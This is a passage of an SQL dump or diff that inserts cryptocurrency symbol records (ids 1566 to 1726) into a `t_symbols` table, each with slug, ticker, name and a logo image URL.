'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nexium.png', NULL); +INSERT INTO `t_symbols` VALUES (1566, 'ghostprism', 'GHOST', 'GHOSTPRISM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ghostprism.png', NULL); +INSERT INTO `t_symbols` VALUES (1567, 'true-chain', 'TRUE', 'TrueChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/true-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (1568, 'digitalbits', 'XDB', 'DigitalBits', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digitalbits.png', NULL); +INSERT INTO `t_symbols` VALUES (1569, 'franklin', 'FLY', 'Franklin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/franklin.png', NULL); +INSERT INTO `t_symbols` VALUES (1570, 'mof', 'MOF', 'Molecular Future', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mof.png', NULL); +INSERT INTO `t_symbols` VALUES (1571, 'tokes', 'TKS', 'Tokes', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tokes.png', NULL); +INSERT INTO `t_symbols` VALUES (1572, 'win-win', 'TWINS', 'win.win', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/win-win.png', NULL); +INSERT INTO `t_symbols` VALUES (1573, 'ezw', 'EZW', 'EZOOW', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ezw.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1574, 'raiden-network-token', 'RDN', 'Raiden Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/raiden-network-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1575, 'global-social-chain', 'GSC', 'Global Social Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/global-social-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (1576, 'hive-project', 'HVN', 'Hiveterminal', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hive-project.png', NULL); +INSERT INTO `t_symbols` VALUES (1577, 'hx', 'HX', 'HyperExchange', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hx.png', NULL); +INSERT INTO `t_symbols` VALUES (1578, 'maverick-chain', 'MVC', 'Maverick Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/maverick-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (1579, 'pluscoin', 'PLC', 'PlusCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pluscoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1580, 'polyient-games-governance-token', 'PGT', 'Polyient Games Governance Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polyient-games-governance-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1581, 'potentiam', 'PTM', 'Potentiam', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/potentiam.png', NULL); +INSERT INTO `t_symbols` VALUES (1582, 'pxg', 'PXG', 'PlayGame', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pxg.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1583, 'apay', 'APT', 'apay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apay.png', NULL); +INSERT INTO `t_symbols` VALUES (1584, 'global-jobcoin', 'GJC', 'Global Jobcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/globaljobcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1585, 'shine-layer2', 'SHT', 'Shine Layer 2', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shine-layer2.png', NULL); +INSERT INTO `t_symbols` VALUES (1586, 'top-one-coin', 'TOP', 'top-one-coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/top-one-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1587, 'falconswap', 'FSW', 'Falconswap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/falconswap.png', NULL); +INSERT INTO `t_symbols` VALUES (1588, 'gambit', 'GMT', 'Gambit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gambit.png', NULL); +INSERT INTO `t_symbols` VALUES (1589, 'starcredits', 'STRC', 'StarCredits', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/starcredits.png', NULL); +INSERT INTO `t_symbols` VALUES (1590, 'dagxcoin', 'DAG', 'DAG Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dagxcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1591, 'ixcoin', 'IXC', 'Ixcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ixcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1592, 'polygonum-pogcoin', 'POG', 'Polygonum Online', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/polygonum.png', NULL); +INSERT INTO `t_symbols` VALUES (1593, 'rpd', 'RPD', 'Rapids', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rpd.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1594, 'hashbx', 'HBX', 'HashBX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hashbx.png', NULL); +INSERT INTO `t_symbols` VALUES (1595, 'spartaico', 'SPARTA', 'Sparta', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spartaico.png', NULL); +INSERT INTO `t_symbols` VALUES (1596, 'amond', 'AMON', 'AmonD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/amond.png', NULL); +INSERT INTO `t_symbols` VALUES (1597, 'hopescience', 'HOPE', 'Hope', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hopescience.png', NULL); +INSERT INTO `t_symbols` VALUES (1598, 'w-green-pay', 'WGP', 'W Green Pay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/w-green-pay.png', NULL); +INSERT INTO `t_symbols` VALUES (1599, 'edr', 'EDR', 'Endor Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/edr.png', NULL); +INSERT INTO `t_symbols` VALUES (1600, 'pawtocol', 'UPI', 'Pawtocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pawtocol.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1601, 'ryo-currency', 'RYO', 'Ryo Currency', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ryo-currency.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1602, 'ektablockchain', 'EKTA', 'Ekta', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/ektablockchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1603, 'yoyow', 'YOYOW', 'YOYOW', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yoyow.png', NULL); +INSERT INTO `t_symbols` VALUES (1604, 'auroracoin', 'AUR', 'Auroracoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/auroracoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1605, 'basechain', 'BASE', 'Basechain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/basechain.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1606, 'qch', 'QCH', 'QChi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qch.png', NULL); +INSERT INTO `t_symbols` VALUES (1607, 'ageofgods', 'AOG', 'AgeOfGods', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ageofgods.png', NULL); +INSERT INTO `t_symbols` VALUES (1608, 'cook-protocol', 'COOK', 'Cook', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cook-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (1609, 'mergecoin', 'MGC', 'MergeCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mergecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1610, 'arcs', 'ARX', 'ARCS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arcs.png', NULL); +INSERT INTO `t_symbols` VALUES (1611, 'peos', 'PEOS', 'pEOS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/peos.png', NULL); +INSERT INTO `t_symbols` VALUES (1612, 'hawksight', 'HAWK', 'Hawksight', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hawksight.png', NULL); +INSERT INTO `t_symbols` VALUES (1613, 'aerium', 'AERM', 'Aerium', NULL, NULL); +INSERT INTO `t_symbols` VALUES (1614, 'kolinplatform', 'KOLIN', 'Kolin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kolinplatform.png', NULL); +INSERT INTO `t_symbols` VALUES (1615, 'bgg', 'BGG', 'Bgogo Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bgg.png', NULL); +INSERT INTO `t_symbols` VALUES (1616, 'easyfi', 'EZ', 'EasyFi V2', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/easyfi.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1617, 'ngotoken', 'NGOT', 'NGO Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ngotoken.png', NULL); +INSERT INTO `t_symbols` VALUES (1618, 'aitra', 'AITRA', 'Aitra', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aitra.png', NULL); +INSERT INTO `t_symbols` VALUES (1619, 'skydynastycoin', 'SDC', 'skydynastycoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/skydynastycoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1620, 'moneytoken', 'IMT', 'Money IMT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/moneytoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1621, 'eurocoin-token', 'ECTE', 'Eurocoin ECTE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eurocoin-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1622, 'kekcoin', 'KEK', 'KekCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kekcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1623, 'riecoin', 'RIC', 'Riecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/riecoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1624, 'rublix', 'RBLX', 'Rublix', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rublix.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1625, 'metrix-coin', 'MRX', 'Metrix Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/metrix-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1626, 'enu', 'ENU', 'Enumivo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/enu.png', NULL); +INSERT INTO `t_symbols` VALUES (1627, 'dextoken-governance', 'DEXG', 'Dextoken Governance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dextoken-governance.png', NULL); +INSERT INTO `t_symbols` VALUES (1628, 'genesourcecode', 'GENE', 'Gene Source Code Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/genesourcecode.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1629, 'fucktoken', 'FUCK', 'FuckToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/fucktoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1630, 'snowgem', 'TENT', 'TENT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/snowgem.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1631, 'futurepia', 'PIA', 'Futurepia', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/futurepia.png', NULL); +INSERT INTO `t_symbols` VALUES (1632, 'quark', 'QRK', 'Quark', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/quark.png', NULL); +INSERT INTO `t_symbols` VALUES (1633, 'denarius-dnr', 'DNR', 'Denarius', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/denarius-dnr.png', NULL); +INSERT INTO `t_symbols` VALUES (1634, 'decent', 'DCT', 'DECENT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decent.png', NULL); +INSERT INTO `t_symbols` VALUES (1635, 'bethereum', 'BETHER', 'Bethereum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bethereum.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1636, 'paycoin2', 'XPY', 'PayCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/paycoin2.png', NULL); +INSERT INTO `t_symbols` VALUES (1637, 'mixcrypto', 'MIX', 'mixcrypto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mixcrypto.png', NULL); +INSERT INTO `t_symbols` VALUES (1638, 'based-money', '$BASED', 'Based Money', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/based-money.png', NULL); +INSERT INTO `t_symbols` VALUES (1639, 'onston', 'ONSTON', 'Onston', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/onston.png', NULL); +INSERT INTO `t_symbols` VALUES (1640, 'bullion', 'CBX', 'Bullion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/CryptoBullionX.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1641, 'stone-toke', 'STN', 'Stone', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stone-toke.png', NULL); +INSERT INTO `t_symbols` VALUES (1642, 'ccc', 'CCC', 'CoinControllerCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Coindom_CCC.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1643, 'sether', 'SETH', 'Sether', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sether.png', NULL); +INSERT INTO `t_symbols` VALUES (1644, 'champion', 'MVP', 'champion', NULL, NULL); +INSERT INTO `t_symbols` VALUES (1645, 'pakcoin', 'PAK', 'Pakcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pakcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1646, 'brokernekonetwork', 'BNN', 'Broker Neko Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/brokernekonetwork.png', NULL); +INSERT INTO `t_symbols` VALUES (1647, 'sphere', 'SPHR', 'Sphere', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sphere.png', NULL); +INSERT INTO `t_symbols` VALUES (1648, 'metastrike', 'MTS', 'Metastrike', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/metastrike.png', NULL); +INSERT INTO `t_symbols` VALUES (1649, 'bluecoin', 'BLU', 'BlueCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bluecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1650, 'model-x-coin', 'MODX', 'MODEL-X-coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/model-x-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1651, 'polkalokr', 'LKR', 'Lokr', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polkalokr.png', NULL); +INSERT INTO `t_symbols` VALUES (1652, 'cam', 'CAM', 'CAM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cam.png', NULL); +INSERT INTO `t_symbols` VALUES (1653, 'eboostcoin', 'EBST', 'eBoost', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eboostcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1654, 'dogecash', 'DOGEC', 'DogeCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dogecash.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1655, 'ties-network', 'TIE', 'Ties.DB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/tiesnetwork.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1656, 'game', 'GTC', 'Game', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/game.png', NULL); +INSERT INTO `t_symbols` VALUES (1657, 'cybermoviechain', 'CMCT', 'Cyber Movie Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cybermoviechain.png', NULL); +INSERT INTO `t_symbols` VALUES (1658, 'dopecoin', 'DOPE', 'DopeCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dopecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1659, 'phoenixdao', 'PHNX', 'PhoenixDAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/phoenixdao.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1660, 'hot-cross', 'HOTCROSS', 'Hot Cross', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hot-cross.png', NULL); +INSERT INTO `t_symbols` VALUES (1661, 'snetwork', 'SNET', 'Snetwork', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/snetwork.png', NULL); +INSERT INTO `t_symbols` VALUES (1662, 'chesscoin', 'CHESS', 'ChessCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chesscoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1663, 'soverain', 'SOVE', 'Soverain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/soverain.png', NULL); +INSERT INTO `t_symbols` VALUES (1664, 'next', 'NEXT', 'NEXT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/next.png', NULL); +INSERT INTO `t_symbols` VALUES (1665, 'quantis', 'QUAN', 'Quantis', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/quantis.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1666, 'trezarcoin', 'TZC', 'TrezarCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trezarcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1667, 'mastercoin', 'MC', 'MasterCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mastercoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1668, 'ritocoin', 'RITO', 'Rito', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ritocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1669, 'xmv', 'XMV', 'MoneroV', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xmv.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1670, 'hempcoin', 'THC', 'Hempcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hempcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1671, 'motacoin', 'MOTA', 'MotaCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/motacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1672, 'dabt', 'DABT', 'dabt', NULL, NULL); +INSERT INTO `t_symbols` VALUES (1673, 'voc', 'VOC', 'Vocal Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/voc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1674, 'nakabot', 'NBOT', 'Naka Bodhi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nakabot.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1675, 'vitae', 'VITAE', 'Vitae', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vitae.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1676, 'luckchain', 'BASH', 'LuckChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/luckchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1677, 'pumapay', 'PMA', 'PumaPay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pumapay.png', NULL); +INSERT INTO `t_symbols` VALUES (1678, 'emanate', 'EMT', 'Emanate', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/emanate.png', NULL); +INSERT INTO `t_symbols` VALUES (1679, 'hedget', 'HGET', 'Hedget', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hedget.png', NULL); +INSERT INTO `t_symbols` VALUES (1680, 'x8x-token', 'X8X', 'X8X', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/x8x-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1681, 'pepe-cash', 'PEPECASH', 'Pepe Cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pepe-cash.png', NULL); +INSERT INTO `t_symbols` VALUES (1682, 'fujicoin', 'FJC', 'FujiCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fujicoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1683, 'ggt', 'GGT', 'Global Gold Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ggt.png', NULL); +INSERT INTO `t_symbols` VALUES (1684, 'nerves', 'NER', 'Nerves', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nerves.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1685, 'chaince-token', 'CET', 'Chaince Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chaince-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1686, 'lendingblock', 'LND', 'Lendingblock', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lendingblock.png', NULL); +INSERT INTO `t_symbols` VALUES (1687, 'moneynet-coin', 'MNC', 'Moneynet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/moneynet-coin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1688, 'hyperstake', 'HYP', 'Element', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hyperstake.png', NULL); +INSERT INTO `t_symbols` VALUES (1689, 'allsafe', 'ASAFE', 'AllSafe', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/allsafetoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1690, 'spherium', 'SPHRI', 'Spherium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spherium.png', NULL); +INSERT INTO `t_symbols` VALUES (1691, 'cp', 'CP', 'CoinPark Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cp.png', NULL); +INSERT INTO `t_symbols` VALUES (1692, 'fiii', 'FIII', 'Fiii', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fiii.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1693, 'dapp-com', 'DAPPT', 'Dapp.com', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dapp-com.png', NULL); +INSERT INTO `t_symbols` VALUES (1694, 'ost', 'OST', 'OST', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ost.png', NULL); +INSERT INTO `t_symbols` VALUES (1695, 'etu', 'ETU', 'etu', NULL, NULL); +INSERT INTO `t_symbols` VALUES (1696, 'blocksports', 'BSP', 'BSPNetwork', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blocksports.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1697, 'the-4th-pillar', 'FOUR', '4thpillar technologies', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/the-4th-pillar.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1698, '1million-token', '1MT', '1Million Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/1million-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1699, 'bastion', 'BSTN', 'Bastion Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/bastion.png', NULL); +INSERT INTO `t_symbols` VALUES (1700, 'creativecoin', 'CREA', 'CREA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/creativecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1701, 'hololoot', 'HOL', 'Hololoot', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/hololoot.png', NULL); +INSERT INTO `t_symbols` VALUES (1702, 'raze-network', 'RAZE', 'Raze Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/raze-network.png', NULL); +INSERT INTO `t_symbols` VALUES (1703, 'swag', 'SWAG', 'swag', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swag.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1704, 'canyacoin', 'CAN', 'CanYaCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/canyacoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1705, 'commerceblock', 'CBT', 'Commerceblock', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/commerceblock.png', NULL); +INSERT INTO `t_symbols` VALUES (1706, 'troneuroperewardcoin', 'TERC', 'TronEuropeRewardCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/troneuroperewardcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1707, 'x42-protocol', 'X42', 'X42 Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/x42-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (1708, 'megacoin', 'MEC', 'Megacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/megacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1709, 'ethart', 'ARTE', 'Items', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethart.png', NULL); +INSERT INTO `t_symbols` VALUES (1710, 'iridium', 'IRD', 'Iridium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iridium.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1711, 'dev-protocol', 'DEV', 'Dev Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dev-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (1712, 'stakecube', 'SCC', 'Stakecube', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stakecube.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1713, 'butler-coin', 'BC', 'butler-coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/butler-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1714, 'ugchain', 'UGC', 'ugChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ugchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1715, 'swarm-city', 'SWT', 'Swarm City', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swarm-city.png', NULL); +INSERT INTO `t_symbols` VALUES (1716, 'parallelcoin', 'DUO', 'Duo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/07ecc30888f2dffc41b025fe8597af59.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1717, 'odyssey', 'OCN', 'Odyssey', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/odyssey.png', NULL); +INSERT INTO `t_symbols` VALUES (1718, 'octanox', 'OTX', 'Octanox', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/octanox.png', NULL); +INSERT INTO `t_symbols` VALUES (1719, 'genaro-network', 'GNX', 'Genaro Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/genaro-network.png', NULL); +INSERT INTO `t_symbols` VALUES (1720, 'etheriya', 'RIYA', 'Etheriya', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/etheriya.png', NULL); +INSERT INTO `t_symbols` VALUES (1721, 'eosver', 'EVR', 'eosver', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eosver.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1722, 'jarvis-reward-token', 'JRT', 'Jarvis Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jarvis-reward-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1723, 'eterbase', 'XBASE', 'Eterbase Utility Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eterbase.png', NULL); +INSERT INTO `t_symbols` VALUES (1724, 'rivetz', 'RVT', 'Rivetz', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rivetz.png', NULL); +INSERT INTO `t_symbols` VALUES (1725, 'utrum', 'OOT', 'Utrum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/utrum.png', NULL); +INSERT INTO `t_symbols` VALUES (1726, 'privcy', 'PRIV', 'PRiVCY', 